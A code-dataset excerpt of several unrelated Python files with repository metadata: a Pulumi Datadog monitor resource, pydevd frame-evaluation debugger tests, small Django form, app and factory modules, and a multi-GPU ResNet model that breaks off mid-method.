the monitor will evaluate data from 6:50 to 6:55. This is useful for AWS CloudWatch and other backfilled
metrics to ensure the monitor will always have data during evaluation.
"""
no_data_timeframe: pulumi.Output[float]
"""
The number of minutes before a monitor will notify when data stops reporting. Must be at
least 2x the monitor timeframe for metric alerts or 2 minutes for service checks. Default: 2x timeframe for
metric alerts, 2 minutes for service checks.
"""
notify_audit: pulumi.Output[bool]
"""
A boolean indicating whether tagged users will be notified on changes to this monitor.
Defaults to false.
"""
notify_no_data: pulumi.Output[bool]
"""
A boolean indicating whether this monitor will notify when data stops reporting. Defaults
to false.
"""
query: pulumi.Output[str]
"""
The monitor query to notify on. Note this is not the same query you see in the UI and
the syntax is different depending on the monitor `type`, please see the [API Reference](https://docs.datadoghq.com/api/?lang=python#create-a-monitor) for details. **Warning:** `terraform plan` won't perform any validation of the query contents.
"""
renotify_interval: pulumi.Output[float]
"""
The number of minutes after the last notification before a monitor will re-notify
on the current status. It will only re-notify if it's not resolved.
"""
require_full_window: pulumi.Output[bool]
"""
A boolean indicating whether this monitor needs a full window of data before it's evaluated.
We highly recommend you set this to False for sparse metrics, otherwise some evaluations will be skipped.
Default: True for "on average", "at all times" and "in total" aggregation. False otherwise.
"""
silenced: pulumi.Output[dict]
"""
Each scope will be muted until the given POSIX timestamp or forever if the value is 0.
To mute the alert completely:
"""
tags: pulumi.Output[list]
"""
A list of tags to associate with your monitor. This can help you categorize and filter monitors in the manage monitors page of the UI. Note: it's not currently possible to filter by these tags when querying via the API
"""
thresholds: pulumi.Output[dict]
"""
* Metric alerts:
A dictionary of thresholds by threshold type. Currently we have four threshold types for metric alerts: critical, critical recovery, warning, and warning recovery. Critical is defined in the query, but can also be specified in this option. Warning and recovery thresholds can only be specified using the thresholds option.
Example usage:
```
thresholds {
critical = 90
critical_recovery = 85
warning = 80
warning_recovery = 75
}
```
**Warning:** the `critical` threshold value must match the one contained in the `query` argument. The `threshold` from the previous example is valid along with a query like `avg(last_1h):avg:system.disk.in_use{role:sqlserver} by {host} > 90` but
along with something like `avg(last_1h):avg:system.disk.in_use{role:sqlserver} by {host} > 95` would make the Datadog API return a HTTP error 400, complaining "The value provided for parameter 'query' is invalid".
* Service checks:
A dictionary of thresholds by status. Because service checks can have multiple thresholds, we don't define them directly in the query.
Default values:
```
thresholds {
ok = 1
critical = 1
warning = 1
unknown = 1
}
```
"""
timeout_h: pulumi.Output[float]
"""
The number of hours of the monitor not reporting data before it will automatically resolve
from a triggered state. Defaults to false.
"""
type: pulumi.Output[str]
"""
The type of the monitor, chosen from:
* `metric alert`
* `service check`
* `event alert`
* `query alert`
* `composite`
* `log alert`
"""
def __init__(__self__, resource_name, opts=None, escalation_message=None, evaluation_delay=None, include_tags=None, locked=None, message=None, name=None, new_host_delay=None, no_data_timeframe=None, notify_audit=None, notify_no_data=None, query=None, renotify_interval=None, require_full_window=None, silenced=None, tags=None, thresholds=None, timeout_h=None, type=None, __name__=None, __opts__=None):
"""
Provides a Datadog monitor resource. This can be used to create and manage Datadog monitors.
:param str resource_name: The name of the resource.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[str] escalation_message: A message to include with a re-notification. Supports the '@username'
notification allowed elsewhere.
:param pulumi.Input[bool] include_tags: A boolean indicating whether notifications from this monitor will automatically insert its
:param pulumi.Input[bool] locked: A boolean indicating whether changes to to this monitor should be restricted to the creator or admins. Defaults to False.
:param pulumi.Input[str] message: A message to include with notifications for this monitor.
Email notifications can be sent to specific users by using the same '@username' notation as events.
:param pulumi.Input[str] name: Name of Datadog monitor
:param pulumi.Input[float] new_host_delay: Time (in seconds) to allow a host to boot and
applications to fully start before starting the evaluation of monitor
results. Should be a non negative integer. Defaults to 300.
* `evaluation_delay` (Optional, only applies to metric alert) Time (in seconds) to delay evaluation, as a non-negative integer.
For example, if the value is set to 300 (5min), the timeframe is set to last_5m and the time is 7:00,
the monitor will evaluate data from 6:50 to 6:55. This is useful for AWS CloudWatch and other backfilled
metrics to ensure the monitor will always have data during evaluation.
:param pulumi.Input[float] no_data_timeframe: The number of minutes before a monitor will notify when data stops reporting. Must be at
least 2x the monitor timeframe for metric alerts or 2 minutes for service checks. Default: 2x timeframe for
metric alerts, 2 minutes for service checks.
:param pulumi.Input[bool] notify_audit: A boolean indicating whether tagged users will be notified on changes to this monitor.
Defaults to false.
:param pulumi.Input[bool] notify_no_data: A boolean indicating whether this monitor will notify when data stops reporting. Defaults
to false.
:param pulumi.Input[str] query: The monitor query to notify on. Note this is not the same query you see in the UI and
the syntax is different depending on the monitor `type`, please see the [API Reference](https://docs.datadoghq.com/api/?lang=python#create-a-monitor) for details. **Warning:** `terraform plan` won't perform any validation of the query contents.
:param pulumi.Input[float] renotify_interval: The number of minutes after the last notification before a monitor will re-notify
on the current status. It will only re-notify if it's not resolved.
:param pulumi.Input[bool] require_full_window: A boolean indicating whether this monitor needs a full window of data before it's evaluated.
We highly recommend you set this to False for sparse metrics, otherwise some evaluations will be skipped.
Default: True for "on average", "at all times" and "in total" aggregation. False otherwise.
:param pulumi.Input[dict] silenced: Each scope will be muted until the given POSIX timestamp or forever if the value is 0.
To mute the alert completely:
:param pulumi.Input[list] tags: A list of tags to associate with your monitor. This can help you categorize and filter monitors in the manage monitors page of the UI. Note: it's not currently possible to filter by these tags when querying via the API
:param pulumi.Input[dict] thresholds:
* Metric alerts:
A dictionary of thresholds by threshold type. Currently we have four threshold types for metric alerts: critical, critical recovery, warning, and warning recovery. Critical is defined in the query, but can also be specified in this option. Warning and recovery thresholds can only be specified using the thresholds option.
Example usage:
```
thresholds {
critical = 90
critical_recovery = 85
warning = 80
warning_recovery = 75
}
```
**Warning:** the `critical` threshold value must match the one contained in the `query` argument. The `threshold` from the previous example is valid along with a query like `avg(last_1h):avg:system.disk.in_use{role:sqlserver} by {host} > 90` but
along with something like `avg(last_1h):avg:system.disk.in_use{role:sqlserver} by {host} > 95` would make the Datadog API return a HTTP error 400, complaining "The value provided for parameter 'query' is invalid".
* Service checks:
A dictionary of thresholds by status. Because service checks can have multiple thresholds, we don't define them directly in the query.
Default values:
```
thresholds {
ok = 1
critical = 1
warning = 1
unknown = 1
}
```
:param pulumi.Input[float] timeout_h: The number of hours of the monitor not reporting data before it will automatically resolve
from a triggered state. Defaults to false.
:param pulumi.Input[str] type: The type of the monitor, chosen from:
* `metric alert`
* `service check`
* `event alert`
* `query alert`
* `composite`
* `log alert`
"""
if __name__ is not None:
warnings.warn("explicit use of __name__ is deprecated", DeprecationWarning)
resource_name = __name__
if __opts__ is not None:
warnings.warn("explicit use of __opts__ is deprecated, use 'opts' instead", DeprecationWarning)
opts = __opts__
if not resource_name:
raise TypeError('Missing resource name argument (for URN creation)')
if not isinstance(resource_name, str):
raise TypeError('Expected resource name to be a string')
if opts and not isinstance(opts, pulumi.ResourceOptions):
raise TypeError('Expected resource options to be a ResourceOptions instance')
__props__ = dict()
__props__['escalation_message'] = escalation_message
__props__['evaluation_delay'] = evaluation_delay
__props__['include_tags'] = include_tags
__props__['locked'] = locked
if message is None:
raise TypeError("Missing required property 'message'")
__props__['message'] = message
__props__['name'] = name
__props__['new_host_delay'] = new_host_delay
__props__['no_data_timeframe'] = no_data_timeframe
__props__['notify_audit'] = notify_audit
__props__['notify_no_data'] = notify_no_data
if query is None:
raise TypeError("Missing required property 'query'")
__props__['query'] = query
__props__['renotify_interval'] = renotify_interval
__props__['require_full_window'] = require_full_window
__props__['silenced'] = silenced
__props__['tags'] = tags
__props__['thresholds'] = thresholds
__props__['timeout_h'] = timeout_h
if type is None:
raise TypeError("Missing required property 'type'")
__props__['type'] = type
super(DatadogMonitor, __self__).__init__(
'datadog:index/datadogMonitor:DatadogMonitor',
resource_name,
__props__,
opts)
def translate_output_property(self, prop):
return tables._CAMEL_TO_SNAKE_CASE_TABLE.get(prop) or prop
def translate_input_property(self, prop):
return tables._SNAKE_TO_CAMEL_CASE_TABLE.get(prop) or prop
| 52.177122
| 405
| 0.67942
| 1,890
| 14,140
| 4.959788
| 0.179894
| 0.023042
| 0.029016
| 0.02667
| 0.737892
| 0.728078
| 0.71837
| 0.68978
| 0.682526
| 0.674419
| 0
| 0.008229
| 0.252334
| 14,140
| 270
| 406
| 52.37037
| 0.878453
| 0.385714
| 0
| 0
| 1
| 0
| 0.161236
| 0.011974
| 0
| 0
| 0
| 0
| 0
| 1
| 0.042254
| false
| 0
| 0.070423
| 0.028169
| 0.408451
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
3deb883ac7af69df8827715859a846420238396c
| 8,847
|
py
|
Python
|
ptvsd/_vendored/pydevd/tests_python/test_frame_eval_and_tracing.py
|
rozuur/ptvsd
|
046fd0f054b2eed91ec5df02e5f36151b71e36b1
|
[
"MIT"
] | 1
|
2019-01-21T17:37:32.000Z
|
2019-01-21T17:37:32.000Z
|
libs/ptvsd/_vendored/pydevd/tests_python/test_frame_eval_and_tracing.py
|
xieguo/sublime_db
|
f2a7b0e55e9f0b77b90a9aa2ea4c4f9136db1315
|
[
"MIT"
] | null | null | null |
libs/ptvsd/_vendored/pydevd/tests_python/test_frame_eval_and_tracing.py
|
xieguo/sublime_db
|
f2a7b0e55e9f0b77b90a9aa2ea4c4f9136db1315
|
[
"MIT"
] | null | null | null |
import os
import platform
import unittest
import pytest
import sys
import time
from tests_python import debugger_unittest
IS_CPYTHON = platform.python_implementation() == 'CPython'
IS_PY36 = sys.version_info[0] == 3 and sys.version_info[1] == 6
TEST_CYTHON = os.getenv('PYDEVD_USE_CYTHON', None) == 'YES'
IS_APPVEYOR = os.environ.get('APPVEYOR', '') in ('True', 'true', '1')
SKIP_FRAME_EVAL_TESTS = False
class WriterThreadStepAndResume(debugger_unittest.AbstractWriterThread):
TEST_FILE = debugger_unittest._get_debugger_test_file('_debugger_case_simple_calls.py')
def run(self):
self.start_socket()
self.write_add_breakpoint(10, 'Method2')
self.write_add_breakpoint(2, 'Method1')
self.write_make_initial_run()
thread_id, frame_id, line, suspend_type = self.wait_for_breakpoint_hit_with_suspend_type('111', True)
assert line == 10, 'Expected return to be in line 10, was: %s' % line
assert suspend_type == "frame_eval", 'Expected suspend type to be "frame_eval", but was: %s' % suspend_type
self.write_step_over(thread_id)
thread_id, frame_id, line, suspend_type = self.wait_for_breakpoint_hit_with_suspend_type('108', True)
assert line == 11, 'Expected return to be in line 11, was: %s' % line
# we use tracing debugger while stepping
assert suspend_type == "trace", 'Expected suspend type to be "trace", but was: %s' % suspend_type
self.write_run_thread(thread_id)
thread_id, frame_id, line, suspend_type = self.wait_for_breakpoint_hit_with_suspend_type('111', True)
assert line == 2, 'Expected return to be in line 2, was: %s' % line
# we enable frame evaluation debugger after "Resume" command
assert suspend_type == "frame_eval", 'Expected suspend type to be "frame_eval", but was: %s' % suspend_type
self.write_run_thread(thread_id)
self.finished_ok = True
class WriterThreadStepReturn(debugger_unittest.AbstractWriterThread):
TEST_FILE = debugger_unittest._get_debugger_test_file('_debugger_case56.py')
def run(self):
self.start_socket()
self.write_add_breakpoint(2, 'Call2')
self.write_make_initial_run()
thread_id, frame_id, suspend_type = self.wait_for_breakpoint_hit_with_suspend_type()
assert suspend_type == "frame_eval", 'Expected suspend type to be "frame_eval", but was: %s' % suspend_type
self.write_get_frame(thread_id, frame_id)
self.write_step_return(thread_id)
thread_id, frame_id, line, suspend_type = self.wait_for_breakpoint_hit_with_suspend_type('109', True)
assert line == 8, 'Expecting it to go to line 8. Went to: %s' % line
# Step return uses temporary breakpoint, so we use tracing debugger
assert suspend_type == "trace", 'Expected suspend type to be "trace", but was: %s' % suspend_type
self.write_step_in(thread_id)
thread_id, frame_id, line, suspend_type = self.wait_for_breakpoint_hit_with_suspend_type('107', True)
# goes to line 4 in jython (function declaration line)
assert line in (4, 5), 'Expecting it to go to line 4 or 5. Went to: %s' % line
# we use tracing debugger for stepping
assert suspend_type == "trace", 'Expected suspend type to be "trace", but was: %s' % suspend_type
self.write_run_thread(thread_id)
self.finished_ok = True
class WriterThreadAddLineBreakWhileRun(debugger_unittest.AbstractWriterThread):
TEST_FILE = debugger_unittest._get_debugger_test_file('_debugger_case3.py')
def run(self):
self.start_socket()
self.write_make_initial_run()
time.sleep(.5)
breakpoint_id = self.write_add_breakpoint(4, '')
thread_id, frame_id, line, suspend_type = self.wait_for_breakpoint_hit_with_suspend_type('111', True)
assert line == 4, 'Expected return to be in line 4, was: %s' % line
# we use tracing debugger if breakpoint was added while running
assert suspend_type == "trace", 'Expected suspend type to be "trace", but was: %s' % suspend_type
self.write_get_frame(thread_id, frame_id)
self.write_run_thread(thread_id)
thread_id, frame_id, line, suspend_type = self.wait_for_breakpoint_hit_with_suspend_type('111', True)
assert line == 4, 'Expected return to be in line 4, was: %s' % line
# we still use tracing debugger
assert suspend_type == "trace", 'Expected suspend type to be "trace", but was: %s' % suspend_type
self.write_get_frame(thread_id, frame_id)
self.write_remove_breakpoint(breakpoint_id)
self.write_run_thread(thread_id)
self.finished_ok = True
class WriterThreadExceptionBreak(debugger_unittest.AbstractWriterThread):
TEST_FILE = debugger_unittest._get_debugger_test_file('_debugger_case_simple_calls.py')
def run(self):
self.start_socket()
self.write_add_breakpoint(10, 'Method2')
self.write_add_exception_breakpoint_with_policy('IndexError', "1", "0", "0")
self.write_make_initial_run()
time.sleep(.5)
thread_id, frame_id, line, suspend_type = self.wait_for_breakpoint_hit_with_suspend_type('111', True)
assert line == 10, 'Expected return to be in line 10, was: %s' % line
# we use tracing debugger if there are exception breakpoints
assert suspend_type == "trace", 'Expected suspend type to be "trace", but was: %s' % suspend_type
self.write_run_thread(thread_id)
self.finished_ok = True
class WriterThreadAddExceptionBreakWhileRunning(debugger_unittest.AbstractWriterThread):
TEST_FILE = debugger_unittest._get_debugger_test_file('_debugger_case_simple_calls.py')
def run(self):
self.start_socket()
self.write_add_breakpoint(10, 'Method2')
self.write_add_breakpoint(2, 'Method1')
# self.write_add_exception_breakpoint_with_policy('IndexError', "1", "0", "0")
self.write_make_initial_run()
time.sleep(.5)
thread_id, frame_id, line, suspend_type = self.wait_for_breakpoint_hit_with_suspend_type('111', True)
assert line == 10, 'Expected return to be in line 10, was: %s' % line
# we use tracing debugger if there are exception breakpoints
assert suspend_type == "frame_eval", 'Expected suspend type to be "frame_eval", but was: %s' % suspend_type
self.write_add_exception_breakpoint_with_policy('IndexError', "1", "0", "0")
self.write_run_thread(thread_id)
thread_id, frame_id, line, suspend_type = self.wait_for_breakpoint_hit_with_suspend_type('111', True)
assert line == 2, 'Expected return to be in line 2, was: %s' % line
# we use tracing debugger if exception break was added
assert suspend_type == "trace", 'Expected suspend type to be "trace", but was: %s' % suspend_type
self.write_run_thread(thread_id)
self.finished_ok = True
class WriterThreadAddTerminationExceptionBreak(debugger_unittest.AbstractWriterThread):
TEST_FILE = debugger_unittest._get_debugger_test_file('_debugger_case_simple_calls.py')
def run(self):
self.start_socket()
self.write_add_breakpoint(10, 'Method2')
self.write_add_exception_breakpoint_with_policy('IndexError', "0", "1", "0")
self.write_make_initial_run()
time.sleep(.5)
thread_id, frame_id, line, suspend_type = self.wait_for_breakpoint_hit_with_suspend_type('111', True)
assert line == 10, 'Expected return to be in line 10, was: %s' % line
# we can use frame evaluation with exception breakpoint with "On termination" suspend policy
assert suspend_type == "frame_eval", 'Expected suspend type to be "frame_eval", but was: %s' % suspend_type
self.write_run_thread(thread_id)
self.finished_ok = True
@pytest.mark.skipif(
SKIP_FRAME_EVAL_TESTS,
reason='Frame eval is not currently meant to be used in the debugger and tests are flaky.\n'
'Feature must be reviewed to be included again.\n'
)
class TestFrameEval(unittest.TestCase, debugger_unittest.DebuggerRunner):
def get_command_line(self):
return [sys.executable, '-u']
def test_step_and_resume(self):
self.check_case(WriterThreadStepAndResume)
def test_step_return(self):
self.check_case(WriterThreadStepReturn)
def test_add_break_while_running(self):
self.check_case(WriterThreadAddLineBreakWhileRun)
def test_exc_break(self):
self.check_case(WriterThreadExceptionBreak)
def test_add_exc_break_while_running(self):
self.check_case(WriterThreadAddExceptionBreakWhileRunning)
def test_add_termination_exc_break(self):
self.check_case(WriterThreadAddTerminationExceptionBreak)
| 38.973568
| 115
| 0.707924
| 1,208
| 8,847
| 4.879967
| 0.129967
| 0.111959
| 0.061069
| 0.038168
| 0.748261
| 0.748092
| 0.724173
| 0.707549
| 0.695335
| 0.680407
| 0
| 0.015969
| 0.200181
| 8,847
| 227
| 116
| 38.973568
| 0.817128
| 0.077314
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| 0.597015
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| 0
| 0.195191
| 0.014722
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| 0
| 0
| 0.171642
| 1
| 0.097015
| false
| 0
| 0.052239
| 0.007463
| 0.253731
| 0
| 0
| 0
| 0
| null | 0
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| 1
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| 0
| 0
|
0
| 4
|
3df66846bf7713be810a376fd2068a5b83e821c3
| 172
|
py
|
Python
|
osc_bge/form/forms.py
|
jisuhan3201/osc-bge
|
125c441d23d7f1fdb2d9b8f42f859082e757e25a
|
[
"MIT"
] | null | null | null |
osc_bge/form/forms.py
|
jisuhan3201/osc-bge
|
125c441d23d7f1fdb2d9b8f42f859082e757e25a
|
[
"MIT"
] | 5
|
2020-06-05T19:49:47.000Z
|
2021-09-08T00:50:55.000Z
|
osc_bge/form/forms.py
|
jisuhan3201/osc-bge
|
125c441d23d7f1fdb2d9b8f42f859082e757e25a
|
[
"MIT"
] | null | null | null |
from django import forms
from . import models
class FileboxForm(forms.ModelForm):
class Meta:
model = models.FormalityFile
fields = ('file_source',)
| 17.2
| 36
| 0.680233
| 19
| 172
| 6.105263
| 0.736842
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| 0.238372
| 172
| 9
| 37
| 19.111111
| 0.885496
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| 0
| 0.063953
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| false
| 0
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| 0.666667
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| 1
| 0
| 1
| 0
|
0
| 4
|
9a804acccbaef4898c1983b2dcf3e8a677a1de6b
| 85
|
py
|
Python
|
app/gaia/place/apps.py
|
mohit4/Gaia
|
b951c1e23351dc51e74c947f8e125028582d9406
|
[
"MIT"
] | 5
|
2018-08-07T07:01:04.000Z
|
2021-03-19T00:16:59.000Z
|
app/gaia/place/apps.py
|
mohit4/Gaia
|
b951c1e23351dc51e74c947f8e125028582d9406
|
[
"MIT"
] | 1
|
2018-04-30T07:27:03.000Z
|
2018-04-30T07:27:03.000Z
|
app/gaia/place/apps.py
|
mohit4/Gaia
|
b951c1e23351dc51e74c947f8e125028582d9406
|
[
"MIT"
] | 3
|
2018-08-08T11:57:01.000Z
|
2020-10-02T05:42:13.000Z
|
from django.apps import AppConfig
class PlaceConfig(AppConfig):
name = 'place'
| 14.166667
| 33
| 0.741176
| 10
| 85
| 6.3
| 0.9
| 0
| 0
| 0
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| 0.176471
| 85
| 5
| 34
| 17
| 0.9
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| 0
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| 1
| 0
|
0
| 4
|
9a9f62632f9739127aa923f7df7f90a538e8c997
| 148
|
py
|
Python
|
{{cookiecutter.project_slug}}/apps/email/tests/factories.py
|
ukwahlula/django-server-boilerplate
|
6bd4b83511ea7e3370349957cf0b6dbff4003ab1
|
[
"BSD-3-Clause"
] | 2
|
2020-10-30T09:47:07.000Z
|
2020-10-30T09:48:11.000Z
|
{{cookiecutter.project_slug}}/apps/email/tests/factories.py
|
ukwahlula/django-server-boilerplate
|
6bd4b83511ea7e3370349957cf0b6dbff4003ab1
|
[
"BSD-3-Clause"
] | null | null | null |
{{cookiecutter.project_slug}}/apps/email/tests/factories.py
|
ukwahlula/django-server-boilerplate
|
6bd4b83511ea7e3370349957cf0b6dbff4003ab1
|
[
"BSD-3-Clause"
] | null | null | null |
import factory
from apps.email import models
class EmailFactory(factory.django.DjangoModelFactory):
class Meta:
model = models.Email
| 16.444444
| 54
| 0.75
| 17
| 148
| 6.529412
| 0.705882
| 0
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| 148
| 8
| 55
| 18.5
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|
0
| 4
|
9abe279d2e3efb1d86890b4d1f406504c1585ba6
| 18,892
|
py
|
Python
|
models/cifar/resnet_para.py
|
GuanhuaWang/pytorch-classification
|
529d945db7f277bf4cb4ee8a66c01575bbb1056e
|
[
"MIT"
] | null | null | null |
models/cifar/resnet_para.py
|
GuanhuaWang/pytorch-classification
|
529d945db7f277bf4cb4ee8a66c01575bbb1056e
|
[
"MIT"
] | null | null | null |
models/cifar/resnet_para.py
|
GuanhuaWang/pytorch-classification
|
529d945db7f277bf4cb4ee8a66c01575bbb1056e
|
[
"MIT"
] | null | null | null |
from __future__ import absolute_import
import torch.nn as nn
import math
import torch
__all__ = ['resnet_para', 'resnet164_para']
def conv3x3(in_planes, out_planes, stride=1):
"3x3 convolution with padding"
return nn.Conv2d(in_planes, out_planes, kernel_size=3, stride=stride,
padding=1, bias=False)
class Bottleneck(nn.Module):
expansion = 4
def __init__(self, inplanes, planes, stride=1, downsample=None, output_gpu=None):
super(Bottleneck, self).__init__()
self.conv1 = nn.Conv2d(inplanes, planes, kernel_size=1, bias=False)
self.bn1 = nn.BatchNorm2d(planes)
self.conv2 = nn.Conv2d(planes, planes, kernel_size=3, stride=stride,
padding=1, bias=False)
self.bn2 = nn.BatchNorm2d(planes)
self.conv3 = nn.Conv2d(planes, planes * 4, kernel_size=1, bias=False)
self.bn3 = nn.BatchNorm2d(planes * 4)
self.relu = nn.ReLU(inplace=True)
self.downsample = downsample
self.stride = stride
self.output_gpu = output_gpu
def forward(self, x):
residual = x
out = self.conv1(x)
out = self.bn1(out)
out = self.relu(out)
out = self.conv2(out)
out = self.bn2(out)
out = self.relu(out)
out = self.conv3(out)
out = self.bn3(out)
if self.downsample is not None:
residual = self.downsample(x)
out += residual
if self.output_gpu is not None:
out = self.relu(out).cuda("cuda:"+str(self.output_gpu))
else:
out = self.relu(out)
return out
class ResNet(nn.Module):
def __init__(self, depth, num_classes=1000, block_name='BasicBlock', split_size=0, gpu_num=1):
super(ResNet, self).__init__()
# Model type specifies number of layers for CIFAR-10 model
if block_name.lower() == 'basicblock':
assert (depth - 2) % 6 == 0, 'When use basicblock, depth should be 6n+2, e.g. 20, 32, 44, 56, 110, 1202'
n = (depth - 2) // 6
block = BasicBlock
elif block_name.lower() == 'bottleneck':
assert (depth - 2) % 9 == 0, 'When use bottleneck, depth should be 9n+2, e.g. 20, 29, 47, 56, 110, 1199'
n = (depth - 2) // 9
block = Bottleneck
else:
raise ValueError('block_name shoule be Basicblock or Bottleneck')
self.gpu_num = gpu_num
self.split_size = split_size
self.inplanes = 16
### Split model into specific gpu. Each layer has 18 Bottleneck
if self.gpu_num == 2:
self.conv1 = nn.Conv2d(3, 16, kernel_size=3, padding=1,
bias=False).cuda("cuda:0")
self.bn1 = nn.BatchNorm2d(16).cuda("cuda:0")
self.relu = nn.ReLU(inplace=True).cuda("cuda:0")
self.layer1 = self._make_layer(block, 16, n, layer_index=1)
self.layer2 = self._make_layer(block, 32, n, stride=2, layer_index=2)
self.layer3 = self._make_layer(block, 64, n, stride=2, layer_index=3)
self.avgpool = nn.AvgPool2d(8).cuda("cuda:1")
self.fc = nn.Linear(64 * block.expansion, num_classes).cuda("cuda:1")
elif self.gpu_num == 4:
self.conv1 = nn.Conv2d(3, 16, kernel_size=3, padding=1,
bias=False).cuda("cuda:0")
self.bn1 = nn.BatchNorm2d(16).cuda("cuda:0")
self.relu = nn.ReLU(inplace=True).cuda("cuda:0")
self.layer1 = self._make_layer(block, 16, n, layer_index=1).cuda("cuda:1")
self.layer2 = self._make_layer(block, 32, n, stride=2, layer_index=2).cuda("cuda:2")
self.layer3 = self._make_layer(block, 64, n, stride=2, layer_index=3).cuda("cuda:3")
self.avgpool = nn.AvgPool2d(8).cuda("cuda:3")
self.fc = nn.Linear(64 * block.expansion, num_classes).cuda("cuda:3")
elif self.gpu_num == 5:
self.conv1 = nn.Conv2d(3, 16, kernel_size=3, padding=1,
bias=False).cuda("cuda:0")
self.bn1 = nn.BatchNorm2d(16).cuda("cuda:0")
self.relu = nn.ReLU(inplace=True).cuda("cuda:0")
self.layer1 = self._make_layer(block, 16, n, layer_index=1)
self.layer2 = self._make_layer(block, 32, n, stride=2, layer_index=2)
self.layer3 = self._make_layer(block, 64, n, stride=2, layer_index=3)
self.avgpool = nn.AvgPool2d(8).cuda("cuda:4")
self.fc = nn.Linear(64 * block.expansion, num_classes).cuda("cuda:4")
elif self.gpu_num == 10:
self.conv1 = nn.Conv2d(3, 16, kernel_size=3, padding=1,
bias=False).cuda("cuda:0")
self.bn1 = nn.BatchNorm2d(16).cuda("cuda:0")
self.relu = nn.ReLU(inplace=True).cuda("cuda:0")
self.layer1 = self._make_layer(block, 16, n, layer_index=1)
self.layer2 = self._make_layer(block, 32, n, stride=2, layer_index=2)
self.layer3 = self._make_layer(block, 64, n, stride=2, layer_index=3)
self.avgpool = nn.AvgPool2d(8).cuda("cuda:9")
self.fc = nn.Linear(64 * block.expansion, num_classes).cuda("cuda:9")
else:
self.conv1 = nn.Conv2d(3, 16, kernel_size=3, padding=1,
bias=False)
self.bn1 = nn.BatchNorm2d(16)
self.relu = nn.ReLU(inplace=True)
self.layer1 = self._make_layer(block, 16, n, layer_index=1)
self.layer2 = self._make_layer(block, 32, n, stride=2, layer_index=2)
self.layer3 = self._make_layer(block, 64, n, stride=2, layer_index=3)
self.avgpool = nn.AvgPool2d(8)
self.fc = nn.Linear(64 * block.expansion, num_classes)
for m in self.modules():
if isinstance(m, nn.Conv2d):
n = m.kernel_size[0] * m.kernel_size[1] * m.out_channels
m.weight.data.normal_(0, math.sqrt(2. / n))
elif isinstance(m, nn.BatchNorm2d):
m.weight.data.fill_(1)
m.bias.data.zero_()
def _make_layer(self, block, planes, blocks, stride=1, layer_index=None): ### layer_index can only be layer1, layer2, layer3,
downsample = None ###each layer has 18 blocks
if stride != 1 or self.inplanes != planes * block.expansion:
downsample = nn.Sequential(
nn.Conv2d(self.inplanes, planes * block.expansion,
kernel_size=1, stride=stride, bias=False),
nn.BatchNorm2d(planes * block.expansion),
)
#layers = []
if layer_index == 1:
layers = self.make_layer_1(block, planes, blocks, stride, downsample)
elif layer_index == 2:
layers = self.make_layer_2(block, planes, blocks, stride, downsample)
elif layer_index == 3:
layers = self.make_layer_3(block, planes, blocks, stride, downsample)
else:
raise ValueError('You are not making resnet164 !!!')
return nn.Sequential(*layers)
def make_layer_1(self, block, planes, blocks, stride, downsample):
layers = []
if self.gpu_num == 2:
device = "cuda:0"
layers.append(block(self.inplanes, planes, stride, downsample, output_gpu=0).cuda(device))
self.inplanes = planes * block.expansion
for i in range(1, blocks):
layers.append(block(self.inplanes, planes, output_gpu=0).cuda(device))
elif self.gpu_num == 5:
device = "cuda:1"
layers.append(block(self.inplanes, planes, stride, downsample, output_gpu=1).cuda(device))
self.inplanes = planes * block.expansion
output_loc = int(device[-1])
for i in range(1, blocks):
if i == 13:
output_loc = int(device[-1])+1
if i == 14:
device = "cuda:2"
layers.append(block(self.inplanes, planes, output_gpu=output_loc).cuda(device))
elif self.gpu_num == 10:
device = "cuda:1"
layers.append(block(self.inplanes, planes, stride, downsample, output_gpu=1).cuda(device))
self.inplanes = planes * block.expansion
output_loc = int(device[-1])
for i in range(1, blocks):
if i == 5:
output_loc = int(device[-1])+1
if i == 6:
device = "cuda:2"
output_loc = int(device[-1])
if i == 11:
output_loc = int(device[-1])+1
if i == 12:
device = "cuda:3"
output_loc = int(device[-1])
if i == 17:
output_loc = int(device[-1])+1
layers.append(block(self.inplanes, planes, output_gpu=output_loc).cuda(device))
else:
layers.append(block(self.inplanes, planes, stride, downsample))
self.inplanes = planes * block.expansion
for i in range(1, blocks):
layers.append(block(self.inplanes, planes))
return layers
def make_layer_2(self, block, planes, blocks, stride, downsample):
layers = []
if self.gpu_num == 10:
device = "cuda:4"
layers.append(block(self.inplanes, planes, stride, downsample, output_gpu=4).cuda(device))
self.inplanes = planes * block.expansion
output_loc = int(device[-1])
for i in range(1, blocks):
if i == 5:
output_loc = int(device[-1])+1
if i == 6:
device = "cuda:5"
output_loc = int(device[-1])
if i == 11:
output_loc = int(device[-1])+1
if i == 12:
device = "cuda:6"
output_loc = int(device[-1])
if i == 17:
output_loc = int(device[-1])+1
layers.append(block(self.inplanes, planes, output_gpu=output_loc).cuda(device))
elif self.gpu_num == 5:
device = "cuda:2"
layers.append(block(self.inplanes, planes, stride, downsample, output_gpu=2).cuda(device))
self.inplanes = planes * block.expansion
output_loc = int(device[-1])
for i in range(1, blocks):
if i == 9:
output_loc = int(device[-1])+1
if i == 10:
device = "cuda:3"
layers.append(block(self.inplanes, planes, output_gpu=output_loc).cuda(device))
elif self.gpu_num == 2:
device = "cuda:1"
layers.append(block(self.inplanes, planes, stride, downsample, output_gpu=1).cuda(device))
self.inplanes = planes * block.expansion
for i in range(1, blocks):
layers.append(block(self.inplanes, planes, output_gpu=1).cuda(device))
else:
layers.append(block(self.inplanes, planes, stride, downsample))
self.inplanes = planes * block.expansion
for i in range(1, blocks):
layers.append(block(self.inplanes, planes))
return layers
def make_layer_3(self, block, planes, blocks, stride, downsample):
layers = []
device = "cuda:7"
if self.gpu_num == 10:
layers.append(block(self.inplanes, planes, stride, downsample, output_gpu=7).cuda(device))
self.inplanes = planes * block.expansion
output_loc = int(device[-1])
for i in range(1, blocks):
if i == 5:
output_loc = int(device[-1])+1
if i == 6:
device = "cuda:8"
output_loc = int(device[-1])
if i == 11:
output_loc = int(device[-1])+1
if i == 12:
device = "cuda:9"
output_loc = int(device[-1])
layers.append(block(self.inplanes, planes, output_gpu=output_loc).cuda(device))
elif self.gpu_num == 5:
device = "cuda:3"
layers.append(block(self.inplanes, planes, stride, downsample, output_gpu=3).cuda(device))
self.inplanes = planes * block.expansion
